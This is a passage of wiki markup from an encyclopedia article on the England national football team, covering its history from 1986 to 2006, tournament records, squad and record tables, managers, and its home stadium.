Following a poor start, in which England lost to [[Portugal]], drew with [[Morocco]] and were without their injured captain [[Bryan Robson]], three goals by [[Gary Lineker]] against [[Poland]] ensured a place in the next round. Having defeated [[Paraguay]] 3-0 in the second round, they were to fall short in controversial circumstances against the eventual winners Argentina in the quarter finals, thanks to two goals from [[Diego Maradona]] - the first the infamous &quot;[[Hand of God goal|Hand of God]]&quot; goal, where Maradona punched the ball into the net, [[Goal of the Century|the second]] after a 50-yard dribble past five England players that is widely regarded as one of the finest goals in history. As a small consolation, [[Gary Lineker]] won the tournament's [[World Cup Golden Boot|Golden Boot]].

England's [[Football World Cup 1990|1990 World Cup]] was their best since 1966; after a slow start in the group stage, England squeaked single-goal wins over Belgium and [[Cameroon national football team|Cameroon]] in the knockout rounds, before being beaten on [[penalty shootout (football)|penalties]] by West Germany in the semi-finals, after drawing 1-1. Stuart Pearce and Chris Waddle missed from the spot. The team's good performance, the relative lack of violence and the emergence of [[Paul Gascoigne]] - England's player of the tournament, who cried after being booked against West Germany (which would have ruled him out of the final had England won) - were all factors in the rehabilitation of football in British society in the 1990s.

===Mixed 1990s===
Robson's successor, [[Graham Taylor (football manager)|Graham Taylor]], was largely a failure - the team failed to win a game at {{Ec|92}}. Taylor was widely castigated for substituting [[Gary Lineker]] in his final  England appearance, when England needed a goal. England missed out on qualifying for the {{Wc|1994}} altogether; the team infamously went 1-0 down to minnows [[San Marino national football team|San Marino]] in a qualifying match after just eight seconds, one of the fastest international goals of all time, before recovering to win 7-1. Taylor was sacked in [[1993]] and replaced by [[Terry Venables]], who oversaw a much improved performance at {{Ec|96}}. With the tournament hosted in England and it being the 30th anniversary of the 1966 World Cup victory, fans' expectations were high; however, after famous victories over Scotland featuring a brilliant [[Paul Gascoigne]] goal and the [[Netherlands national football team|Netherlands]], and a rare penalty shoot-out win over [[Spain national football team|Spain]], England fans were treated to ''[[déjà vu]]'' as their side lost a semi-final on penalties to Germany again after drawing 1-1. [[Gareth Southgate]] missed the vital penalty this time.

Venables stepped down after Euro 96; his successor [[Glenn Hoddle]] oversaw England's successful qualification for the {{Wc|1998}} with a 0-0 draw at the [[Stadio Olimpico]] in [[Rome]], but the team were knocked out of the tournament on penalties again, this time to old enemies [[Argentina national football team|Argentina]] after [[David Beckham]] had been sent off. Hoddle resigned the following year after stating his controversial beliefs about the [[disabled]] in a newspaper interview. Hoddle said he thought  disabled people were paying for sins committed in their past life. Former captain [[Kevin Keegan]] took over, only just managing to get England into {{Ec2|2000}} (after a 2-1 playoff win over Scotland), where a lacklustre England failed to get beyond the group stage. Keegan resigned in September [[2000]], after England lost their very last match at the old [[Wembley Stadium]], a World Cup qualifier against Germany.

===The Eriksson era===
In [[2001]], the [[Sweden|Swede]] [[Sven-Göran Eriksson]] was appointed as Keegan's successor, becoming the first foreign national to manage England. Eriksson turned around the team's {{Wc|2002}} campaign with a 5-1 victory over Germany; England came from behind with goals from [[Emile Heskey]], [[Steven Gerrard]] and a [[Michael Owen]] [[hat-trick]]. England ensured qualification after a tense final game against [[Greece national football team|Greece]]; [[David Beckham]] scored from a free kick in the last seconds of the game to make the score 2-2 and put England top of their group on goal difference. In the finals in [[Japan]] and [[South Korea]], England beat [[Argentina national football team|Argentina]] 1-0 in the group stage and reached the quarter-finals before being beaten 2-1 by the eventual winners Brazil.

In {{Ec2|2004}}, England came top of their qualification group after drawing 0-0 away to [[Turkey national football team|Turkey]] in their final qualifier. In the finals, despite a last-minute loss to [[France national football team|France]] in the group stage, England were favoured to do well, but were knocked out in yet another penalty shootout, this time to hosts [[Portugal national football team|Portugal]] after a 2-2 draw in the quarter-finals.

[[2005]] has seen Eriksson receive heavy criticism from fans for his defensive strategies and alleged lack of passion, his lack of communication with the players from the bench, and a perceived inability to change tactics when necessary in a game, as witnessed against [[Brazil national football team|Brazil]] in 2004.  A 4-1 loss to [[Denmark national football team|Denmark]] in a friendly was followed by a humiliating 1-0 defeat to [[Northern Ireland national football team|Northern Ireland]] in a  {{Wc|2006}} qualifier, which compounded criticism. An unconvincing 1-0 victory over [[Austria national football team|Austria]] did nothing to relieve the pressure. However, despite these criticisms England qualified for the World Cup finals with one match to spare, and travel to Germany as group winners following a 2-1 victory and a much improved performance against [[Poland national football team|Poland]].

In their first friendly match following qualification for the World Cup, [[Argentina and England football rivalry|England beat Argentina]] 3-2 in [[Geneva]], [[Switzerland]], in a game many have described as England's best performance in a very long time.

The Swede has also received a degree of criticism during his time in charge for experimenting with his teams excessively during friendly matches, sometimes changing the entire eleven at half-time before FIFA ruled that only a maximum of five substitutions would be allowed in such games from 2004. He also received criticism from some quarters of the English media for 'cheapening' the captaincy of the England team by allowing lower-profile players such as [[Emile Heskey]] and [[Philip Neville]] to lead the team after substitutions. However, these critics generally ignored or were not aware of the fact that only the player leading the team at kick-off is officially recorded as having captained England, so players inheriting the armband later in games were not 'England captains' in the official sense.

Following revelations in the [[News of the World]] newspaper during January 2006, the [[Football Association]] decided to come to an agreement with Eriksson over his future and on 23rd January 2006, it was announced that the Swede was to stand down after the summer's World Cup Finals. Possible successors linked with the job include [[Sam Allardyce]], [[Guus Hiddink]], [[Luiz Felipe Scolari]], [[Alan Curbishley]], [[Paul Jewell]], [[Stuart Pearce]] and [[Martin O'Neill (footballer)|Martin O'Neill]]

==World Cup record==
*[[Football World Cup 1930|1930]] to [[Football World Cup 1938|1938]] - ''Did not enter''
*[[Football World Cup 1950|1950]] - Round 1 (last 15) lost to [[Spain national football team|Spain]] 
*[[Football World Cup 1954|1954]] - Quarter-finals lost to [[Uruguay national football team|Uruguay]] 4-2
*[[Football World Cup 1958|1958]] - Round 1 lost to [[Soviet Union national football team|Soviet Union]] 1-0
*[[Football World Cup 1962|1962]] - Quarter-finals lost to [[Brazil national football team|Brazil]] 3-1
*[[Football World Cup 1966|1966]] - '''Winners'''
*[[Football World Cup 1970|1970]] - Quarter-finals lost to [[West Germany national football team|West Germany]] 3-2
*[[Football World Cup 1974|1974]] - ''Did not qualify'' 
*[[Football World Cup 1978|1978]] - ''Did not qualify''
*[[Football World Cup 1982|1982]] - Round 2 (last 8) lost to [[West Germany national football team|West Germany]] 0-0
*[[Football World Cup 1986|1986]] - Quarter-finals lost to [[Argentina national football team|Argentina]] 2-1
*[[Football World Cup 1990|1990]] - Semi-Finals lost to [[West Germany national football team|West Germany]] 1-1 on penalties 
*[[Football World Cup 1994|1994]] - ''Did not qualify'' 
*[[Football World Cup 1998|1998]] - Round 2 lost to [[Argentina national football team|Argentina]] 2-2 on penalties
*[[Football World Cup 2002|2002]] - Quarter-finals lost to [[Brazil national football team|Brazil]] 2-1 
*[[Football World Cup 2006|2006]] - Qualified

==European Championship record==
*[[1960 European Football Championship|1960]] - ''Did not enter''
*[[1964 European Football Championship|1964]] - ''Did not qualify'' lost to [[France national football team|France]]
*[[1968 European Football Championship|1968]] - Semifinals lost to [[Yugoslavia national football team|Yugoslavia]] 1-0
*[[1972 European Football Championship|1972]] - ''Did not qualify''(last 8) lost to [[West Germany national football team|West Germany]]
*[[1976 European Football Championship|1976]] - ''Did not qualify'' lost to [[Czechoslovakia national football team|Czechoslovakia]] 
*[[1980 European Football Championship|1980]] - Round 1 (last 8) lost to [[Italy national football team|Italy]] 1-0
*[[1984 European Football Championship|1984]] - ''Did not qualify'' lost to [[Denmark national football team|Denmark]] 1-0 
*[[1988 European Football Championship|1988]] - Round 1 (last 8) lost to [[Holland national football team|Holland]] 3-1
*[[1992 European Football Championship|1992]] - Round 1 (last 8) lost to [[Sweden national football team|Sweden]] 2-1
*[[1996 European Football Championship|1996]] - Semifinals lost to [[Germany national football team|Germany]] 1-1 on penalties
*[[2000 European Football Championship|2000]] - Round 1 lost to [[Romania national football team|Romania]] 3-2
*[[2004 European Football Championship|2004]] - Quarter-finals lost to [[Portugal national football team|Portugal]] 2-2 on penalties

==Forthcoming fixtures==
*England v [[Hungary national football team|Hungary]], 30th May at [[Old Trafford (football)|Old Trafford]] 
*England v [[Jamaica national football team|Jamaica]], 3rd June at [[Old Trafford (football)|Old Trafford]] 
*'''[[Football World Cup 2006|2006 World Cup]]''' Group B:
**England v [[Paraguay national football team|Paraguay]], 10th June at [[Waldstadion]], Frankfurt (2pm BST)
**England v [[Trinidad and Tobago national football team|Trinidad &amp; Tobago]], 15th June at [[Frankenstadion]], Nuremberg (5pm BST)
**[[Sweden national football team|Sweden]] v England, 20th June at [[RheinEnergieStadion]], Cologne (8pm BST)
**Up to four other fixtures (Round of 32, Quarter Final, Semi Final, Final/Third Place Playoff), pending on results in the three group games.
*'''[[2008 European Football Championship (qualifying)|Euro 2008 Qualifying]]''' Group E:
**England v [[Andorra national football team|Andorra]], September 2 at [[Wembley Stadium]]
**[[Republic of Macedonia national football team|Republic of Macedonia]] v England, September 6
**England v [[Republic of Macedonia national football team|Republic of Macedonia]], October 7 at [[Wembley Stadium]]
**[[Croatia national football team|Croatia]] v England, October 11 
**[[Israel national football team|Israel]] v England, March 24, 2007
**[[Andorra national football team|Andorra]] v England, March 28, 2007
**[[Estonia national football team|Estonia]] v England, June 6, 2007
**England v [[Israel national football team|Israel]], September 8, 2007 at [[Wembley Stadium]]
**England v [[Russia national football team|Russia]], September 12, 2007 at [[Wembley Stadium]]
**England v [[Estonia national football team|Estonia]], October 13, 2007 at [[Wembley Stadium]]
**[[Russia national football team|Russia]] v England, October 17, 2007
**England v [[Croatia national football team|Croatia]], November 21, 2007 at [[Wembley Stadium]]

==Famous past players==
{|width=100%
|valign=&quot;top&quot; width=33%|
*[[Tony Adams (footballer)|Tony Adams]] 1987-2000
*[[Viv Anderson]] 1978-1988
*[[Alan Ball (footballer)|Alan Ball]] 1965-1975
*[[Gordon Banks]] 1963-1972
*[[John Barnes (footballer)|John Barnes]] 1983-1995
*[[Peter Beardsley]] 1986-1996
*[[Steve Bloomer]] 1895-1910
*[[Terry Butcher]] 1980-1990
*[[Bobby Charlton]] 1958-1970
*[[Ray Clemence]] 1972-1983
*[[Dixie Dean]] 1927-1932
*[[Duncan Edwards]] 1955-1957
*[[Tom Finney]] 1946-1958
|valign=&quot;top&quot; width=33%|
*[[Paul Gascoigne]] 1988-1998
*[[Jimmy Greaves]] 1959-1967
*[[Johnny Haynes]] 1954-1962
*[[Glenn Hoddle]] 1979-1988
*[[Emlyn Hughes]] 1969-1980
*[[Geoff Hurst]] 1966-1972
*[[Paul Ince]] 1992-2000
*[[Kevin Keegan]] 1972-1982
*[[Gary Lineker]] 1984-1992
*[[Nat Lofthouse]] 1950-1958
*[[Stanley Matthews]] 1934-1957
*[[Bobby Moore]] 1962-1973
*[[Stuart Pearce]] 1987-1999
|valign=&quot;top&quot; width=33%|
*[[Martin Peters]] 1966-1974
*[[David Platt]] 1989-1996
*[[Bryan Robson]] 1980-1991
*[[Kenny Sansom]] 1979-1988
*[[Paul Scholes]] 1997-2004
*[[David Seaman]] 1988-2002
*[[Alan Shearer]] 1992-2000
*[[Teddy Sheringham]] 1993-2002
*[[Peter Shilton]] 1970-1990
*[[Nobby Stiles]] 1965-1970
*[[Chris Waddle]] 1985-1991
*[[Ray Wilkins]] 1976-1986
*[[Vivian Woodward]] 1903-1911
*[[Billy Wright]] 1946-1959
|}

==Current players==
&lt;!--Criteria for inclusion: Any players capped during the latest World or European qualifying campaign; any players capped during the last 18 months; any players called to the squad but not capped within the last year--&gt;
Players who have recently been called up to England squads include:

;Goalkeepers
{| class=&quot;wikitable&quot;
|-
!width=20%|Player
!width=22%|Club
!width=8%|Caps (goals)
!width=25%|Debut
!width=25%|Most Recent Call Up
|-
| [[David James (footballer)|David James]] ||  [[Manchester City F.C.|Manchester City]] || 33 (0) || v [[Mexico national football team|Mexico]], March 29 1997 || v [[Uruguay national football team|Uruguay]], [[March 1]] 2006 
|-
| [[Paul Robinson (goalkeeper)|Paul Robinson]] || [[Tottenham Hotspur F.C.|Tottenham Hotspur]] || 19 (0) || v [[Australia national football (soccer) team|Australia]], February 12 2003 || v Uruguay, March 1 2006
|-
| [[Robert Green]] || [[Norwich City F.C.|Norwich City]] || 1 (0) || v [[Colombia national football team|Colombia]], May 31 2005 || v Uruguay, March 1 2006
|- valign=top
| [[Chris Kirkland]] || [[West Bromwich Albion F.C.|West Bromwich Albion]] &lt;br&gt;&lt;small&gt;(on loan from [[Liverpool F.C.|Liverpool]])&lt;/small&gt; || 0 (0) || n/a || v [[Poland national football team|Poland]], October 12 2005
|-
| [[Scott Carson]] || [[Liverpool F.C.|Liverpool]] || 0 (0) || n/a || v [[Colombia national football team|Colombia]], [[May 31]] 2005
|-
|}

;Defenders
{| class=&quot;wikitable&quot;
|-
!width=20%|Player
!width=22%|Club
!width=8%|Caps (goals)
!width=25%|Debut
!width=25%|Most Recent Call Up
|-
| [[Gary Neville]] || [[Manchester United F.C.|Manchester United]] || 78 (0) || v [[Japan national football team|Japan]], June 3 1995 || v Uruguay, March 1 2006
|-
| [[Sol Campbell]] || [[Arsenal F.C.|Arsenal]] || 66 (1) || v [[Hungary national football team|Hungary]], May 18 1996 || v [[Argentina national football team|Argentina]], [[November 12]] 2005
|-
| [[Rio Ferdinand]] || [[Manchester United F.C.|Manchester United]] || 45 (1) || v [[Cameroon national football team|Cameroon]], November 15 1997 || v Uruguay, March 1 2006
|-
| [[Ashley Cole]] || [[Arsenal F.C.|Arsenal]] || 44 (0) || v [[Albania national football team|Albania]], March 28 2001 || v Poland, October 12 2005
|-
| [[Jamie Carragher]] || [[Liverpool F.C.|Liverpool]] || 23 (0) || v [[Hungary national football team|Hungary]], April 28 1999 || v Uruguay, March 1 2006
|- valign=top
| [[Wayne Bridge]] || [[Fulham F.C.|Fulham]]&lt;br&gt;&lt;small&gt;(on loan from [[Chelsea F.C.|Chelsea]])&lt;/small&gt; || 22 (1) || v [[Netherlands national football team|Netherlands]], February 13 2002 || v Uruguay, March 1 2006
|-
| [[John Terry]] ||  [[Chelsea F.C.|Chelsea]] || 22 (0) || v [[Serbia &amp; Montenegro national football team|Serbia &amp; Monten.]], June 3 2003 || v Uruguay, March 1 2006
|-
| [[Ledley King]] || [[Tottenham Hotspur F.C.|Tottenham Hotspur]] || 16 (1) || v [[Italy national football team|Italy]], March 27 2002 || v Uruguay, March 1 2006
|-
| [[Wes Brown]] || [[Manchester United F.C.|Manchester United]] || 9 (0) || v [[Hungary national football team|Hungary]], April 28 1999 || v Uruguay, March 1 2006
|-
| [[Matthew Upson]] || [[Birmingham City F.C.|Birmingham City]] || 7 (0) || v [[South Africa national football team|South Africa]], May 22 2003 || v [[Northern Ireland national football team|N. Ireland]], September 7 2005
|-
| [[Luke Young]] || [[Charlton Athletic F.C.|Charlton Athletic]] || 7 (0) || v [[United States men's national soccer team|USA]], May 28 2005 || v Uruguay, March 1 2006
|-
| [[Jonathan Woodgate]] || [[Real Madrid]] || 6 (0) || v [[Bulgaria national football team|Bulgaria]], June 9 1999 || v Argentina, November 12 2005
|-
| [[Glen Johnson (footballer)|Glen Johnson]] || [[Chelsea F.C.|Chelsea]] || 4(0) || v [[Denmark national football team|Denmark]], November 16 2003 || v [[Denmark national football team|Denmark]], [[August 17]] 2005
|-
| [[Zat Knight]] || [[Fulham F.C.|Fulham]] || 2 (0) || v [[United States men's national soccer team|USA]], May 28 2005 || v N. Ireland, September 7 2005
|-
| [[Paul Konchesky]] || [[West Ham United F.C.|West Ham]] || 2 (0) || v [[Australia national football team|Australia]], February 12 2003 || v Argentina, November 12 2005
|-
| [[Stephen Warnock]] || [[Liverpool F.C.|Liverpool]] || 0 (0) || n/a || v Poland, October 12 2005
|-
|}

;Midfielders
{| class=&quot;wikitable&quot;
|-
!width=20%|Player
!width=22%|Club
!width=8%|Caps (goals)
!width=25%|Debut
!width=25%|Most Recent Call Up
|-
| [[David Beckham]] (Captain) || [[Real Madrid]] || 87 (16) || v [[Moldova national football team|Moldova]], September 1 1996 || v Uruguay, March 1 2006
|-
| [[Steven Gerrard]] || [[Liverpool F.C.|Liverpool]] || 40 (6) || v [[Ukraine national football team|Ukraine]], May 31 2000 || v Uruguay, March 1 2006
|-
| [[Frank Lampard]] || [[Chelsea F.C.|Chelsea]] || 38 (10) || v [[Belgium national football team|Belgium]], October 10 1999 || v Uruguay, March 1 2006
|-
| [[Owen Hargreaves]] || [[Bayern München]] || 31 (0) || v [[Netherlands national football team|Netherlands]], August 15 2001 || v N. Ireland, September 7, 2005
|-
| [[Joe Cole (footballer)|Joe Cole]] || [[Chelsea F.C.|Chelsea]] || 30 (5) || v [[Mexico national football team|Mexico]], May 25 2001 || v Uruguay, March 1 2006
|-
| [[Kieron Dyer]] || [[Newcastle United]] || 28 (0) || v [[Luxembourg national football team|Luxembourg]], September 4 1999 || v [[Azerbaijan national football team|Azerbaijan]], [[March 30]] 2005
|-
| [[Phil Neville]] || [[Everton F.C.|Everton]] || 52 (0) || v [[China national football team|China]], May 23 1996 || v Argentina, November 12 2005
|-
| [[Alan Smith]] || [[Manchester United F.C.|Manchester United]] || 16 (1) || v [[Mexico national football team|Mexico]], May 25 2001 || v Argentina, November 12 2005
|-
| [[Jermaine Jenas]] || [[Tottenham Hotspur F.C.|Tottenham Hotspur]] || 15 (0) || v [[Australia national football team|Australia]], February 12 2003 || v Uruguay, March 1 2006
|-
| [[Shaun Wright-Phillips]] || [[Chelsea F.C.|Chelsea]] || 8 (1) || v [[Ukraine national football team|Ukraine]], August 18 2004 || v Uruguay, March 1 2006
|-
| [[Michael Carrick]] || [[Tottenham Hotspur F.C.|Tottenham Hotspur]] || 5 (0) || v [[Mexico national football team|Mexico]], May 25 2001 || v Uruguay, March 1 2006
|-
| [[Kieran Richardson]] || [[Manchester United F.C.|Manchester United]] || 4 (2) || v [[United States men's national soccer team|USA]], May 28 2005 || v Uruguay, March 1 2006
|-
| [[Stewart Downing]] || [[Middlesbrough F.C.|Middlesbrough]] || 1 (0) || v [[Netherlands national football team|Netherlands]], February 9 2005 || v Colombia, May 31 2005
|-
|}

;Strikers
{| class=&quot;wikitable&quot;
|-
!width=20%|Player
!width=22%|Club
!width=8%|Caps (goals)
!width=25%|Debut
!width=25%|Most Recent Call Up
|-
| [[Michael Owen]] || [[Newcastle United F.C.|Newcastle United]] || 75 (35) || v [[Chile national football team|Chile]], February 11 1998 || v Argentina, November 12 2005
|-
| [[Emile Heskey]] || [[Birmingham City F.C.|Birmingham City]] || 43 (5) || v [[Hungary national football team|Hungary]], April 28 1999 || v Azerbaijan, March 26, 2005
|-
| [[Wayne Rooney]] || [[Manchester United F.C.|Manchester United]] || 29 (11) || v [[Australia national football team|Australia]], February 12 2003 || v Uruguay, March 1 2006
|-
| [[Darius Vassell]] || [[Manchester City F.C.|Manchester City]] || 22 (6) || v [[Netherlands national football team|Netherlands]], February 13 2002 || v Poland, September 8 2004
|-
| [[Jermain Defoe]] || [[Tottenham Hotspur F.C.|Tottenham Hotspur]] || 16 (1) || v [[Sweden national football team|Sweden]], March 31 2004 || v Uruguay, March 1 2006
|-
| [[Peter Crouch]] || [[Liverpool F.C.|Liverpool]] || 5 (1) || v [[Colombia national football team|Colombia]], May 31 2005 || v Uruguay, March 1 2006
|-
| [[Andy Johnson]] || [[Crystal Palace F.C.|Crystal Palace]] || 2 (0) || v [[Netherlands national football team|Netherlands]], February 9 2005 || v N. Ireland, September 7 2005
|-
| [[Darren Bent]] || [[Charlton Athletic F.C.|Charlton Athletic]] || 1 (0) || v [[Uruguay national football team|Uruguay]], March 1 2006 || v Uruguay, March 1 2006
|}

==Player records==
{{main|England national football team records}}

===Most capped England players===
{{main|List of England international footballers}}

As of [[March 1]], [[2006]], the ten players with the most caps for England are:

{| class=&quot;wikitable&quot; cellpadding=&quot;3&quot; style=&quot;text-align: center;&quot;
|-
!#
!Name
!Career
!Caps
!Goals
|-
|1
|align=&quot;left&quot;|[[Peter Shilton]]
|1970-1990
|125
|0
|-
|2
|align=&quot;left&quot;|'''[[Bobby Moore]]'''
|1962-1973
|108
|2
|-
|3
|align=&quot;left&quot;|'''[[Bobby Charlton|Sir Bobby Charlton]]'''
|1958-1970
|106
|49
|-
|4
|align=&quot;left&quot;|[[Billy Wright (footballer)|Billy Wright]]
|1946-1959
|105
|3
|-
|5
|align=&quot;left&quot;|[[Bryan Robson]]
|1980-1991
|90
|26
|-
|6
|align=&quot;left&quot;|[[David Beckham]]*
|1996-
|87
|16
|-
|7
|align=&quot;left&quot;|[[Kenny Sansom]]
|1979-1988
|86
|1
|-
|8
|align=&quot;left&quot;|[[Ray Wilkins]]
|1976-1986
|84
|3
|-
|9
|align=&quot;left&quot;|[[Gary Lineker]]
|1984-1992
|80
|48
|-
|10
|align=&quot;left&quot;|[[John Barnes (footballer)|John Barnes]]
|1983-1995
|79
|11
|}

Members of the 1966 World Cup-winning team are in bold. * denotes a player still playing or available for selection.

''For a longer list of players with 25 caps or more, see [[List of England international footballers]].''

===Top England goalscorers===
{| class=&quot;wikitable&quot; cellpadding=&quot;3&quot; style=&quot;text-align: center;&quot;
|-
!#
!Player
!Career
!Goals (Caps)
|-
|1
|style=&quot;text-align:left;&quot;| '''[[Bobby Charlton|Sir Bobby Charlton]]'''
|1958-70
|49 (106)
|-
|2
|style=&quot;text-align:left;&quot;|[[Gary Lineker]]
|1984-92
|48 (80)
|-
|3
|style=&quot;text-align:left;&quot;|[[Jimmy Greaves]]
|1959-67
|44 (57)
|-
|4
|style=&quot;text-align:left;&quot;|[[Michael Owen]]*
|1998-now
|35
|-
|5
|style=&quot;text-align:left;&quot;|[[Tom Finney|Sir Tom Finney]]
|1946-58
|30 (76)
|-
|=
|style=&quot;text-align:left;&quot;|[[Nat Lofthouse]]
|1950-58
|30 (33)
|-
|=
|style=&quot;text-align:left;&quot;|[[Alan Shearer]]
|1992-2000
|30 (63)
|-
|8
|style=&quot;text-align:left;&quot;|[[Viv Woodward]]
|1903-11
|29 (23)
|-
|9
|style=&quot;text-align:left;&quot;|[[Steve Bloomer]]
|1895-1907
|28 (23)
|-
|10
|style=&quot;text-align:left;&quot;|[[David Platt]]
|1989-96
|27 (62)
|-
|11
|style=&quot;text-align:left;&quot;|[[Bryan Robson]]
|1979-91
|26 (90)
|-
|12
|style=&quot;text-align:left;&quot;|'''[[Geoff Hurst|Sir Geoff Hurst]]'''
|1966-72
|24 (49)
|-
|13
|style=&quot;text-align:left;&quot;|[[Stan Mortensen]]
|1947-53
|23 (25)
|-
|14
|style=&quot;text-align:left;&quot;|[[Tommy Lawton]]
|1938-48
|22 (23)
|-
|15
|style=&quot;text-align:left;&quot;|[[Mick Channon]]
|1972-77
|21 (46)
|-
|=
|style=&quot;text-align:left;&quot;|[[Kevin Keegan]]
|1972-82
|21 (63)
|-
|17
|style=&quot;text-align:left;&quot;|'''[[Martin Peters]]'''
|1966-74
|20 (77)
|-
|18
|style=&quot;text-align:left;&quot;|[[George Camsell]]
|1929-36
|18 (9)
|-
|=
|style=&quot;text-align:left;&quot;|[[Dixie Dean]]
|1927-32
|18 (16)
|-
|=
|style=&quot;text-align:left;&quot;|[[Johnny Haynes]]
|1954-62
|18 (56)
|-	 
|=	 
|style=&quot;text-align:left;&quot;|'''[[Roger Hunt]]'''	 
|1962-69	 
|18 (34)
|}
Members of the 1966 World Cup-winning team are in bold. * denotes a player still playing or available for selection.

===England captains===
{{main|List of England national football team captains}}

{| class=&quot;wikitable&quot; cellpadding=&quot;3&quot; style=&quot;text-align: center;&quot;
|-
!#
!Player
!England career
!Captain '''(Total Caps)'''
|-
|1
|style=&quot;text-align:left;&quot;|[[Billy Wright (footballer)|Billy Wright]]
|1946-59
|90 (105)
|-
|=
|style=&quot;text-align:left;&quot;|'''[[Bobby Moore]]'''
|1962-73
|90 (108)
|-
|3
|style=&quot;text-align:left;&quot;|[[Bryan Robson]]
|1980-91
|65 (90)
|-
|4
|style=&quot;text-align:left;&quot;|[[David Beckham]]*
|2000-Present
|51 (87)
|-
|5
|style=&quot;text-align:left;&quot;|[[Alan Shearer]]
|1992-2000
|34 (63)
|-
|6
|style=&quot;text-align:left;&quot;|[[Kevin Keegan]]
|1972-82
|31 (63)
|-
|7
|style=&quot;text-align:left;&quot;|[[Emlyn Hughes]]
|1969-80
|23 (62)
|-
|8
|style=&quot;text-align:left;&quot;|[[Bob Crompton]]
|1902-14
|22 (41)
|-
|=
|style=&quot;text-align:left;&quot;|[[Johnny Haynes]]
|1954-1962
|22 (56)
|-
|10
|style=&quot;text-align:left;&quot;|[[Eddie Hapgood]]
|1933-39
|21 (30)
|}
Members of the 1966 World Cup-winning team are in bold. * denotes a player still playing or available for selection.

==England managers==
{| class=&quot;wikitable&quot; cellpadding=&quot;3&quot; style=&quot;text-align: center;&quot;
|-
!Manager
!England career
!Played
!Won
!Drawn
!Lost
!GF&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;
!GA&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;
!Win %
|-
|style=&quot;text-align: left;&quot;|[[Walter Winterbottom|Sir Walter Winterbottom]]
|[[1946]]-[[1962]]
|139
|78
|33
|28
|383
|196
|56.11%
|-
|style=&quot;text-align: left;&quot;|[[Alf Ramsey|Sir Alf Ramsey]]
|[[1963]]-[[1974]]
|113
|69
|27
|17
|224
|98
|61.06%
|-
|style=&quot;text-align: left;&quot;|[[Joe Mercer]] ([[Caretaker manager (football)|caretaker]])
|[[1974]]
|7
|3
|3
|1
|9
|7
|42.85%
|-
|style=&quot;text-align: left;&quot;|[[Don Revie]]
|[[1974]]-[[1977]]
|29
|14
|8
|7
|49
|25
|48.27%
|-
|style=&quot;text-align: left;&quot;|[[Ron Greenwood]]
|[[1977]]-[[1982]]
|55
|33
|12
|10
|93
|40
|59.99%
|-
|style=&quot;text-align: left;&quot;|[[Bobby Robson|Sir Bobby Robson]]
|[[1982]]-[[1990]]
|95
|47
|30
|18
|151
|60
|49.47%
|-
|style=&quot;text-align: left;&quot;|[[Graham Taylor (football manager)|Graham Taylor]]
|[[1990]]-[[1993]]
|38
|18
|13
|7
|62
|32
|47.36%
|-
|style=&quot;text-align: left;&quot;|[[Terry Venables]]
|[[1994]]-[[1996]]
|23
|11
|11
|1
|35
|13
|47.82%
|-
|style=&quot;text-align: left;&quot;|[[Glenn Hoddle]]
|[[1996]]-[[1999]]
|28
|17
|6
|5
|42
|13
|60.71%
|-
|style=&quot;text-align: left;&quot;|[[Howard Wilkinson]] (caretaker)
|[[1999]]
|1
|0
|0
|1
|0
|2
|0.00%
|-
|style=&quot;text-align: left;&quot;|[[Kevin Keegan]]
|[[1999]]-[[2000]]
|18
|7
|7
|4
|26
|15
|38.88%
|-
|style=&quot;text-align: left;&quot;|[[Howard Wilkinson]] (caretaker)
|[[2000]]
|1
|0
|1
|0
|0
|0
|0.00%
|-
|style=&quot;text-align: left;&quot;|[[Peter John Taylor|Peter Taylor]] (caretaker)
|[[2000]]
|1
|0
|0
|1
|0
|1
|0.00%
|-
|style=&quot;text-align: left;&quot;|[[Sven-Göran Eriksson]]&lt;sup&gt;[[#Notes|3]]&lt;/sup&gt;
|[[2001]] - Present
|61
|36
|15
|10
|115
|59
|59.02%
|}

===Notes===
#GF = Goals for
#GA = Goals against
#Accurate up to and including [[1st March]] [[2006]].

==Home stadium==
For the first 50 years of its existence, the England team played its home matches at different venues all around the country; for the first few years it used [[cricket]] grounds, before later moving on to football clubs' stadiums. England played their first match at [[Wembley Stadium]] in [[1924]], the year after it was completed, against [[Scotland national football team|Scotland]], but for the next 27 years would only use Wembley as a venue for Scotland matches; other opposition were still entertained at club grounds around the country.

In May [[1951]], [[Argentina national football team|Argentina]] became the first team other than Scotland to be entertained at Wembley, and by [[1960]] nearly all of England's home matches were being played there. Between [[1966]] and [[1995]], England did not play a single home match anywhere else.

England's last match at Wembley before its demolition and reconstruction was against [[Germany national football team|Germany]] on [[October 7]], [[2000]], a game which England lost 1-0. Since then the team has played at 14 different venues around the country, with [[Old Trafford (football)|Old Trafford]] having been the most often used. The FA have ruled that when the new Wembley is completed in mid-[[2006]], England's travels will end, and the team will play all of their home matches there until at least [[2036]]. The main reason for this is financial. The FA did not own the old Wembley stadium, but it does own the new one, and has taken on debts of hundreds of millions of pounds to pay for it. Thus it needs to maximise the revenue from England matches, and does not wish to share it with the owners of other grounds.

==100 Greatest Sporting Moments==
In 2002, England featured three times in Channel 4's [[100 Greatest Sporting Moments]]:

* The 5-1 win over Germany in the 2001 World Cup Qualifer was ranked 2nd.
* The 4-2 World Cup Final win over Germany in 1966 was ranked 3rd.
* The 4-1 win over Holland in Euro '96 was ranked 25th.

==See also==
* [[England's 50 Greatest Goals]]
* [[England women's national football team]]
* [[England national under-21 football team]]
* [[Argentina and England football rivalry]]
* [[United Kingdom national football team]]

== External links ==
*[http://www.thefa.com/England/ Official website at the FA's website]
*[http://www.england-expects.org England-Expects.org Comprehensive website detailing current and historical information about the national team]
*[http://www.england-afc.co.uk England AFC - England Fansite]
*[http://www.england06.net England06.net : A Guide To The England Football Team in the build up to the 2006 World Cup]
*[http://www.englandfootballonline.com/Match.html Archive of England national team results 1874-]
*[http://www.rsssf.com/miscellaneous/eng-recintlp.html RSSSF archive of most capped players and highest goalscorers]
*[http://www.englandfanzine.co.uk The England Fanzine]
*[http://www.planetworldcup.com/NATIONS/eng.html Planet World Cup archive of results in the World Cup]
*[http://www.planetworldcup.com/NATIONS/eng_qualify.html Planet World Cup archive of squads in the World Cup]
*[http://www.planetworldcup.com/NATIONS/eng_squads.html Planet World Cup archive of results in the World Cup qualifiers]

{{Football in England}}
{{fb start}}
{{International football}}
{{UEFA teams}}
{{fb end}}

[[Category:European national football teams]]
[[Category:England national football team| ]]

[[ar:منتخب إنجلترا لكرة القدم]]
[[cs:Anglická fotbalová reprezentace]]
[[de:Englische Fußballnationalmannschaft]]
